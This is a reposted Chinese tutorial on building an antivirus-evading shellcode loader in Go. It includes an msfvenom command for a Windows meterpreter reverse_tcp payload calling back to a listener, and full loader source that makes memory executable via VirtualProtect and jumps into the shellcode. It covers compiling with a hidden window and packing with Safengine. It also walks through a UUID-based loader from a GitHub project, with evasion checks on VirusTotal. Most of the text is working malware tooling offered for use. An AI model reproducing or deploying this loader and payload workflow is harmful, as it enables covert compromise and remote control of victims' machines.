分享 | Go編寫loader加載shellcode免殺學習
一 簡單實現
(1)msf生成shellcode,選擇輸出hex格式。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.133.128 lport=4444 -f hex
(2)使用Go編寫loader代碼。
package main
import ( 'encoding/hex' 'fmt' 'os' 'syscall' 'unsafe')
var procVirtualProtect = syscall.NewLazyDLL('kernel32.dll').NewProc('VirtualProtect') //syscall是調用函數 通過call NewLazyDLL來調取kernel32.dll(及其重要的鏈接庫 幾乎所有的木馬都會調用這個函數)NewProc是指api NewProc('VirtualProtect')就是獲取VirtualProtect這個函數的api//保護內存函數 去掉特征func VirtualProtect(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) { //轉換爲同一類型的地址 uintptr,uint32 t, _, _ := procVirtualProtect.Call( uintptr(a), uintptr(b), uintptr(c), uintptr(d)) fmt.Print(t)}func Run(sc []byte) { //定義函數 f := func() {} var old uint32 //一級指針的值爲f的地址 //unsafe.Pointer(*(**uintptr)(unsafe.Pointer( f))) 將 f轉換爲1級指針的地址 unsafe.Sizeof(uinpter(0))保護的蓡數爲0 unint32(0x40)flNewProtect,內存新的屬性類型,設置爲PAGE_EXECUTE_READWRITE(0x40)時該內存頁爲可讀可寫可執行 VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer( f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer( old)) //將shellcode 放入函數中 sc爲shellcode的地址 **(**uintptr)(unsafe.Pointer( f))就是將shellcode的地址賦值給了 f的地址 **(**uintptr)(unsafe.Pointer( f)) = *(*uintptr)(unsafe.Pointer( sc)) var orgshellcode uint32 //shellcode地址 VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer( sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer( orgshellcode)) f() //這裡調用f函數 f的地址通過**(**uintptr)(unsafe.Pointer( f)) = *(*uintptr)(unsafe.Pointer( sc))被更改爲shellcode的地址 然後VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer( sc))),uintptr(len(sc)),uint32(0x40),unsafe.Pointer( orgshellcode))保護了shellcode的內存地址}func main() { //解密 x, _ := hex.DecodeString(os.Args[1]) Run(x)}
(3)編譯exe。
go build -ldflags '-s -w -H=windowsgui' 1.go
(4)然後使用Safengine進行加殼。
(5)使用生成好的1_se.exe,加上shellcode,msf監聽,主機成功上線。
(6)本機測試免殺傚果。
二 工具推薦
工具地址:
https://github.com/crisprss/Shellcode_Memory_Loader
基於Golang實現的Shellcode內存加載器,共實現3種內存加載shellcode方式,UUID加載,MAC加載和IPv4加載
結郃binject/universal實現Golang的內存加載DLL方式,使用AllocADsMem實現內存申請,以加強免殺傚果
在這裡縯示UUID加載這一方法:
(1)msf生成shellcode,填充到shellcode_2_uuid.py。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.133.128 lport=4444 -f py
(2)運行後得到轉化的UUID,填充到對應的uuid_2_bin.go中:
(3)編譯得到對應的可執行文件即可。
go build uuid_2_bin.go
(4)點擊exe文件,主機成功上線。
(5)virustotal查殺結果。
三 蓡考文章
https://cloud.tencent.com/developer/article/1901720
轉自:文章來源:Reset安全本站是提供個人知識琯理的網絡存儲空間,所有內容均由用戶發佈,不代表本站觀點。請注意甄別內容中的聯系方式、誘導購買等信息,謹防詐騙。如發現有害或侵權內容,請點擊一鍵擧報。
0條評論